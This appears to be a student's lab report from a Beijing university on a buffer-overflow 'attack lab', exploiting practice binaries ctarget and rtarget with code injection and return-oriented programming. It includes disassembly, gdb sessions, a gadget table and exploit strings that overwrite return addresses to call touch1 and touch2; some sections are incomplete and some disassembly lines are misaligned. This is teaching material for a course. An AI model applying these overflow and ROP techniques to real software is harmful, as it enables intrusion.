

北京邮电大学

实验报告



题目： 缓冲区溢出

班 级：

学 号：

姓 名：

学 院：

年 月 日

一、实验目的

1. 理解 C 语言程序的函数调用机制，栈帧的结构。
2. 理解 x86-64 的栈和参数传递机制
3. 初步掌握如何编写更加安全的程序，了解编译器和操作系统提供的防攻击手段。
3. 进一步理解 x86-64 机器指令及指令编码。

二、实验环境

1. SecureCRT (10.105.222.110)
2. Linux
3. Objdump 命令反汇编
4. GDB 调试工具
5.

三、实验内容

登录 bupt3 服务器，在 home 目录下可以找到一个 targetn.tar 文件，解压后得到如下文件：

```
README.txt;
ctarget;
rtarget;
cookie.txt;
farm.c;
hex2raw。
```

ctarget 和 rtarget 运行时从标准输入读入字符串，这两个程序都存在缓冲区溢出漏洞。通过代码注入的方法实现对 ctarget 程序的攻击，共有 3 关，输入一个特定字符串，可成功调用 touch1，或 touch2，或 touch3 就通关，并向计分服务器提交得分信息；通过 ROP 方法实现对 rtarget 程序的攻击，共有 2 关，在指定区域找到所需要的小工具，进行拼接完成指定功能，再输入一个特定字符串，实现成功调用 touch2 或 touch3 就通关，并向计分服务器提交得分信息；否则失败，但不扣分。因此，本实验需要通过反汇编和逆向工程对 ctarget 和 rtarget 执行文件进行分析，找到保存返回地址在堆栈中的位置以及所需要的小工具机器码。实验 2 的具体内容见实验 2 说明，尤其需要认真阅读各阶段的 Some Advice 提示。

本实验包含了 5 个阶段（或关卡），难度逐级递增。各阶段分数如下所示：

Phase	Program	Level	Method	Function	Points
1	CTARGET	1	CI	touch1	10
2	CTARGET	2	CI	touch2	25
3	CTARGET	3	CI	touch3	25
4	RTARGET	2	ROP	touch2	35
5	RTARGET	3	ROP	touch3	5

CI: Code injection

ROP: Return-oriented programming

三、实验步骤及实验分析

1、 准备工作:

登录 bupt3 服务器，在 home 目录下可以找到一个 targetn.tar 文件，解压。用 objdump 将 ctarget 和 rtarget 反汇编到 1.txt 和 farm.txt。

2、 Phase 1:

```
812 00000000004017ac <getbuf>:
813 4017ac: 48 83 ec 38          sub    $0x38,%rsp
814 4017b0: 48 89 e7             mov    %rsp,%rdi
815 4017b3: e8 32 02 00 00      callq 4019ea <Gets>
816 4017b8: b8 01 00 00 00      mov    $0x1,%eax
817 4017bd: 48 83 c4 38          add    $0x38,%rsp
818 4017c1: c3                  retq
819 4017c2: 66 90               xchg   %ax,%ax
820
821 00000000004017c4 <touch1>:
822 4017c4: 48 83 ec 08          sub    $0x8,%rsp
823 4017c8: c7 05 ea 29 20 00 01 movl    $0x1,0x2029ea(%rip)
# 6041bc <vlevel>
824 4017cf: 00 00 00             mov    $0x402f6e,%edi
825 4017d2: bf 6e 2f 40 00      callq 400bd0 <puts@plt>
826 4017d7: e8 f4 f3 ff ff      mov    $0x1,%edi
827 4017dc: bf 01 00 00 00      callq 401bd5 <validate>
828 4017e1: e8 ef 03 00 00      mov    $0x0,%edi
829 4017e6: bf 00 00 00 00      callq 400d60 <exit@plt>
830 4017eb: e8 70 f5 ff ff
831
```

函数 test 调用了函数 getbuf，getbuf 执行返回语句时，程序会继续执行 test 函数中的语句。而我们要改变这个行为，使 getbuf 返回的时候，执行 touch1 而不是返回 test。从 touch1 看出我们不需要注入新的代码，只需要用攻击字符串指引程序执行一个已经存在的函数，也就是使 getbuf 结尾处的 ret 指令将控制转移到 touch1。从 sub \$0x38,%rsp 这条指令可以得到 getbuf 创建的缓冲区大小为 0x38 字节即 56 字节。要使 getbuf 结尾处的 ret 指令将控制转移到 touch1，我们只需利用缓冲区溢出将返回地址修改为 touch1 的起始地址 (0x4017c4)。因此攻击字符串为 attack1.txt:


```

2017211335@bupt3:~/target59$ ./ctarget -i attackraw1.txt
Cookie: 0x7e1ed939
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
2017211335@bupt3:~/target59$

```

```

2017211335@bupt3:~/target59$ ./ctarget -qi attackraw1.txt
Cookie: 0x7e1ed939
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
      user id 2017211335
      course  f18
      lab     attacklab
      result  59:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00
0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C4 17 40 00 00 00 00
2017211335@bupt3:~/target59$

```

3、 Phase 2:

```

832 00000000004017f0 <touch2>:
833 4017f0: 48 83 ec 08      sub    $0x8,%rsp
834 4017f4: 89 fe           mov    %edi,%esi
835 4017f6: c7 05 bc 29 20 00 02  movl   $0x2,0x2029bc(%rip)
# 6041bc <vlevel>
836 4017fd: 00 00 00        mov    $0x0,%edi
837 401800: 3b 3d be 29 20 00  cmp    0x2029be(%rip),%edi
# 6041c4 <cookie>
838 401806: 75 1b           jne    401823 <touch2+0x33>
839 401808: bf 90 2f 40 00  mov    $0x402f90,%edi
840 40180d: b8 00 00 00 00  mov    $0x0,%eax
841 401812: e8 e9 f3 ff ff  callq  400c00 <printf@plt>
842 401817: bf 02 00 00 00  mov    $0x2,%edi
843 40181c: e8 b4 03 00 00  callq  401bd5 <validate>
844 401821: eb 19           jmp    40183c <touch2+0x4c>
845 401823: bf b8 2f 40 00  mov    $0x402fb8,%edi
846 401828: b8 00 00 00 00  mov    $0x0,%eax
847 40182d: e8 ce f3 ff ff  callq  400c00 <printf@plt>
848 401832: bf 02 00 00 00  mov    $0x2,%edi
849 401837: e8 4b 04 00 00  callq  401c87 <fail>
850 40183c: bf 00 00 00 00  mov    $0x0,%edi
851 401841: e8 1a f5 ff ff  callq  400d60 <exit@plt>

```

和 phase1 类似，只是先跳转到一个地方执行一段代码，这段代码能够将寄存器 %rdi 的值设置为 cookie (0x7e1ed939)，然后再跳转到 touch2 (0x4017f0) 执行。因此我们可以新建 2.s。


```
2017211335@bupt3:~/target59$ vi 3.txt
2017211335@bupt3:~/target59$ ./hex2raw <3.txt >3raw.txt
2017211335@bupt3:~/target59$ vi 3raw.txt
```

A screenshot of a terminal window. The title bar at the top reads "2017211335@bupt3: ~/target59". Below the title bar is a menu bar with options: "文件(F)", "编辑(E)", "查看(V)", "搜索(S)", "终端(T)", and "帮助(H)". The main area of the terminal shows a single line of text starting with a blue cursor icon followed by a series of blue characters that appear to be a mix of letters and symbols, possibly representing a corrupted or encoded string. At the bottom of the terminal, there is a status bar that says "\"3raw.txt\" [converted] 1L, 66C" on the left, "1,1" in the center, and "All" on the right.

```
2017211335@bupt3: ~/target59
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
2017211335@bupt3:~/target59$ gdb ctarg
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarg...done.
(gdb) break *0x4018db
Breakpoint 1 at 0x4018db: file visible.c, line 73.
(gdb) break *0x4018e0
Breakpoint 2 at 0x4018e0: file visible.c, line 73.
(gdb) run -i 3raw.txt
Starting program: /home/students/2017211335/target59/ctarg -i 3raw.txt
Cookie: 0x7e1ed939

Breakpoint 1, 0x00000000004018db in touch3 (
    sval=0x605010 "\210$\255", <incomplete sequence \373>) at visible.c:73
73     visible.c: No such file or directory.
```

```

2017211335@bupt3: ~/target59
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
(gdb) disass
Dump of assembler code for function touch3:
   0x00000000004018c4 <+0>:    push    %rbx
   0x00000000004018c5 <+1>:    mov     %rdi,%rbx
   0x00000000004018c8 <+4>:    movl    $0x3,0x2028ea(%rip)    # 0x6041bc <v
level>
   0x00000000004018d2 <+14>:   mov     %rdi,%rsi
   0x00000000004018d5 <+17>:   mov     0x2028e9(%rip),%edi    # 0x6041c4 <c
cookie>
=> 0x00000000004018db <+23>:   callq   0x401846 <hexmatch>
   0x00000000004018e0 <+28>:   test    %eax,%eax
   0x00000000004018e2 <+30>:   je      0x401902 <touch3+62>
   0x00000000004018e4 <+32>:   mov     %rbx,%rsi
   0x00000000004018e7 <+35>:   mov     $0x402fe0,%edi
   0x00000000004018ec <+40>:   mov     $0x0,%eax
   0x00000000004018f1 <+45>:   callq   0x400c00 <printf@plt>
   0x00000000004018f6 <+50>:   mov     $0x3,%edi
   0x00000000004018fb <+55>:   callq   0x401bd5 <validate>
   0x0000000000401900 <+60>:   jmp     0x40191e <touch3+90>
   0x0000000000401902 <+62>:   mov     %rbx,%rsi
   0x0000000000401905 <+65>:   mov     $0x403008,%edi
   0x000000000040190a <+70>:   mov     $0x0,%eax
   0x000000000040190f <+75>:   callq   0x400c00 <printf@plt>
   0x0000000000401914 <+80>:   mov     $0x3,%edi
   0x0000000000401919 <+85>:   callq   0x401c87 <fail>
   0x000000000040191e <+90>:   mov     $0x0,%edi
   0x0000000000401923 <+95>:   callq   0x400d60 <exit@plt>
End of assembler dump.
(gdb)

```

```

2017211335@bupt3: ~/target59
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
End of assembler dump.
(gdb) x/72b 0x55676408
0x55676408:  0      0      0      0      0      0      0      0
0x55676410:  0      0      0      0      0      0      0      0
0x55676418:  0      0      0      0      0      0      0      0
0x55676420:  0      0      0      0      0      0      0      0
0x55676428:  0      0      0      0      0      0      0      0
0x55676430:  0      0      0      0      0      0      0      0
0x55676438:  0      0      0      0      0      0      0      0
0x55676440:  0      96     88     85     0      0      0      0
0x55676448:  0      0      0      0      0      0      0      0
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004018e0 in touch3 (
    sval=0x605010 "\210$\255", <incomplete sequence \373>) at visible.c:73
73      in visible.c
(gdb) x/72b 0x55676408
0x55676408:  0      0      0      0      0      0      0      0
0x55676410:  0      0      0      0      0      0      0      0
0x55676418:  0      0      0      0      0      0      0      0
0x55676420:  16     80     96     0      0      0      0      0
0x55676428: -24     95    104     85     0      0      0      0
0x55676430:  3      0      0      0      0      0      0      0
0x55676438: -32     24     64     0      0      0      0      0
0x55676440:  0      96     88     85     0      0      0      0
0x55676448:  0      0      0      0      0      0      0      0
(gdb)

```

可以看出 0x55676448 这一行在前后没有发生变化，因此用来存放 cookie。通过 ascii 码表找到 cookie 的 16 进制表示为：37 65 31 65 64 39 33 39。


```

930 000000000040194c <start_farm>:
931 40194c: b8 01 00 00 00      mov     $0x1,%eax
932 401951: c3                  retq
933
934 0000000000401952 <addval_336>:
935 401952: 8d 87 58 c3 71 94    lea     -0x6b8e3ca8(%rdi),%eax
936 401958: c3                  retq
937
938 0000000000401959 <addval_185>:
939 401959: 8d 87 48 81 c7 c3    lea     -0x3c387eb8(%rdi),%eax
940 40195f: c3                  retq
941
942 0000000000401960 <setval_117>:
943 401960: c7 07 48 89 c7 c3    movl    $0xc3c78948,(%rdi)
944 401966: c3                  retq
945
946 0000000000401967 <setval_494>:
947 401967: c7 07 48 89 c7 c1    movl    $0xc1c78948,(%rdi)
948 40196d: c3                  retq
949
950 000000000040196e <addval_325>:
951 40196e: 8d 87 54 58 90 c3    lea     -0x3c6fa7ac(%rdi),%eax
952 401974: c3                  retq
953
954 0000000000401975 <setval_203>:
955 401975: c7 07 48 89 c7 90    movl    $0x90c78948,(%rdi)
956 40197b: c3                  retq
957
958 000000000040197c <setval_275>:
959 40197c: c7 07 58 92 90 c3    movl    $0xc3909258,(%rdi)
960 401982: c3                  retq
961
962 0000000000401983 <setval_321>:
963 401983: c7 07 f5 75 58 91    movl    $0x915875f5,(%rdi)
964 401989: c3                  retq
965
966 000000000040198a <mid_farm>:
967 40198a: b8 01 00 00 00      mov     $0x1,%eax
968 40198f: c3                  retq
969
970 0000000000401990 <add_xy>:
971 401990: 48 8d 04 37          lea     (%rdi,%rsi,1),%rax
972 401994: c3                  retq
973
974 0000000000401995 <setval_120>:
975 401995: c7 07 89 ce 48 c0    movl    $0xc048ce89,(%rdi)
976 40199b: c3                  retq
977

```



```

978 000000000040199c <addval_153>:
979 40199c:      8d 87 48 8b e0 c3      lea     -0x3c1f74b8(%rdi),%eax
980 4019a2:      c3                    retq
981
982 00000000004019a3 <setval_197>:
983 4019a3:      c7 07 89 d1 90 c1      movl    $0xc190d189,(%rdi)
984 4019a9:      c3                    retq
985
986 00000000004019aa <getval_334>:
987 4019aa:      b8 89 ce 20 db          mov     $0xdb20ce89,%eax
988 4019af:      c3                    retq
989
990 00000000004019b0 <getval_297>:
991 4019b0:      b8 89 d1 84 c9          mov     $0xc984d189,%eax
992 4019b5:      c3                    retq
993
994 00000000004019b6 <getval_356>:
995 4019b6:      b8 89 ce 30 db          mov     $0xdb30ce89,%eax
996 4019bb:      c3                    retq
997
998 00000000004019bc <getval_250>:
999 4019bc:      b8 82 89 c2 c3          mov     $0xc3c28982,%eax
1000 4019c1:      c3                    retq
1001
1002 00000000004019c2 <addval_390>:
1003 4019c2:      8d 87 89 d1 90 c1      lea     -0x3e6f2e77(%rdi),%eax
1004 4019c8:      c3                    retq
1005
1006 00000000004019c9 <addval_208>:
1007 4019c9:      8d 87 89 d1 28 db      lea     -0x24d72e77(%rdi),%eax
1008 4019cf:      c3                    retq
1009
1010 00000000004019d0 <getval_253>:
1011 4019d0:      b8 19 8b ce 90          mov     $0x90ce8b19,%eax
1012 4019d5:      c3                    retq
1013
1014 00000000004019d6 <setval_309>:
1015 4019d6:      c7 07 89 ce 94 d2      movl    $0xd294ce89,(%rdi)
1016 4019dc:      c3                    retq
1017
1018 00000000004019dd <setval_217>:
1019 4019dd:      c7 07 99 c2 20 c0      movl    $0xc020c299,(%rdi)
1020 4019e3:      c3                    retq
1021
1022 00000000004019e4 <setval_189>:
1023 4019e4:      c7 07 48 89 e0 c1      movl    $0xc1e08948,(%rdi)
1024 4019ea:      c3                    retq
1025

```

```

1026 00000000004019eb <getval_169>:
1027 4019eb: b8 c9 c2 20 d2      mov     $0xd220c2c9,%eax
1028 4019f0: c3                  retq
1029
1030 00000000004019f1 <setval_473>:
1031 4019f1: c7 07 89 c2 28 db   movl    $0xdb28c289,(%rdi)
1032 4019f7: c3                  retq
1033
1034 00000000004019f8 <addval_288>:
1035 4019f8: 8d 87 99 d1 08 c9   lea     -0x36f72e67(%rdi),%eax
1036 4019fe: c3                  retq
1037
1038 00000000004019ff <setval_440>:
1039 4019ff: c7 07 89 c2 91 c3   movl    $0xc391c289,(%rdi)
1040 401a05: c3                  retq
1041
1042 0000000000401a06 <addval_462>:
1043 401a06: 8d 87 60 80 89 d1   lea     -0x2e767fa0(%rdi),%eax
1044 401a0c: c3                  retq
1045
1046 0000000000401a0d <getval_472>:
1047 401a0d: b8 89 d1 28 db      mov     $0xdb28d189,%eax
1048 401a12: c3                  retq
1049
1050 0000000000401a13 <getval_259>:
1051 401a13: b8 89 c2 00 c9      mov     $0xc900c289,%eax
1052 401a18: c3                  retq
1053
1054 0000000000401a19 <setval_115>:
1055 401a19: c7 07 81 c2 84 c0   movl    $0xc084c281,(%rdi)
1056 401a1f: c3                  retq
1057
1058 0000000000401a20 <setval_204>:
1059 401a20: c7 07 48 89 e0 c7   movl    $0xc7e08948,(%rdi)
1060 401a26: c3                  retq
1061
1062 0000000000401a27 <getval_482>:
1063 401a27: b8 bf 89 ce c1      mov     $0xc1ce89bf,%eax
1064 401a2c: c3                  retq
1065
1066 0000000000401a2d <addval_221>:
1067 401a2d: 8d 87 40 89 e0 c3   lea     -0x3c1f76c0(%rdi),%eax
1068 401a33: c3                  retq
1069
1070 0000000000401a34 <getval_105>:
1071 401a34: b8 48 89 e0 c3      mov     $0xc3e08948,%eax
1072 401a39: c3                  retq
1073
1074 0000000000401a3a <getval_151>:

```

```

1074 0000000000401a3a <getval_151>:
1075 401a3a: b8 81 d1 90 90      mov     $0x9090d181,%eax
1076 401a3f: c3                  retq
1077
1078 0000000000401a40 <addval_475>:
1079 401a40: 8d 87 1a 48 89 e0    lea     -0x1f76b7e6(%rdi),%eax
1080 401a46: c3                  retq
1081
1082 0000000000401a47 <getval_164>:
1083 401a47: b8 89 ce 94 d2      mov     $0xd294ce89,%eax
1084 401a4c: c3                  retq
1085
1086 0000000000401a4d <setval_319>:
1087 401a4d: c7 07 48 8d e0 c3    movl    $0xc3e08d48,(%rdi)
1088 401a53: c3                  retq
1089
1090 0000000000401a54 <getval_470>:
1091 401a54: b8 48 89 e0 92      mov     $0x92e08948,%eax
1092 401a59: c3                  retq
1093
1094 0000000000401a5a <addval_124>:
1095 401a5a: 8d 87 09 b2 89 ce    lea     -0x31764df7(%rdi),%eax
1096 401a60: c3                  retq
1097
1098 0000000000401a61 <addval_157>:
1099 401a61: 8d 87 89 c2 84 db    lea     -0x247b3d77(%rdi),%eax
1100 401a67: c3                  retq
1101
1102 0000000000401a68 <end_farm>:
1103 401a68: b8 01 00 00 00      mov     $0x1,%eax
1104 401a6d: c3                  retq
1105 401a6e: 66 90              xchg    %ax,%ax
1106

```

从上图找到的有用的 gadget:

```

movq %rsp,%rax      48 89 e0 c3      0x401a35
movq %rax,%rdi      48 89 c7 c3      0x401962
popq %rax           58 c3          0x401954
movl %eax,%edx      89 c2 c3      0x4019be
movl %edx,%ecx      89 d1 c3      0x401a0a
movl %ecx,%esi      89 ce c3      0x401a5e
add $0x37,%al       04 37 c3      0x401992

```

和 phase2 一样，我们需要将寄存器%rdi 的值设置为 cookie。

在上面找到的满足条件的 gadget 中可以凑出能够实现攻击的指令。

先将寄存器%rax 的值设置为 cookie，然后复制给%rdi。

```

popq    %rax
ret
mov     %rax,%rdi
ret

```

因此，攻击字符串为:

```

2017211335@bupt3: ~/target59
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
1 00 00 00 00 00 00 00 00
2 00 00 00 00 00 00 00 00
3 00 00 00 00 00 00 00 00
4 00 00 00 00 00 00 00 00
5 00 00 00 00 00 00 00 00
6 00 00 00 00 00 00 00 00
7 00 00 00 00 00 00 00 00
8 54 19 40 00 00 00 00 00
9 39 d9 1e 7e 00 00 00 00
10 62 19 40 00 00 00 00 00
11 f0 17 40 00 00 00 00 00

```

转换，运行，上传即可。

```
2017211335@bupt3:~/target59$ vi attack4.txt
2017211335@bupt3:~/target59$ ./hex2raw < attack4.txt > attackraw4.txt
2017211335@bupt3:~/target59$ vi attackraw4.txt
```

```
2017211335@bupt3:~/target59$ ./rtarget -i attackraw4.txt
Cookie: 0x7e1ed939
Touch2!: You called touch2(0x7e1ed939)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
2017211335@bupt3:~/target59$ ./rtarget -qi attackraw4.txt
Cookie: 0x7e1ed939
Touch2!: You called touch2(0x7e1ed939)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
    user id 2017211335
    course f18
    lab      attacklab
    result   59:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 54 19 40 00 00 00 00 00 00 00 00 39 D9 1E 7E 00 00 00 00 62 19 40 00 00 00 00 F0 17 40 00 00
2017211335@bupt3:~/target59$
```

6、 Phase 5:

操作为：

movq %rsp,%rax	48 89 e0 c3	0x401a35
add \$0x37, %al	04 37 c3	0x401992
movq %rax,%rdi	48 89 c7 c3	0x401962

填充区 2 (55(0x37)-3*8=31 字节)

攻击字符串 attack5.txt:

转换，运行，上传即可。

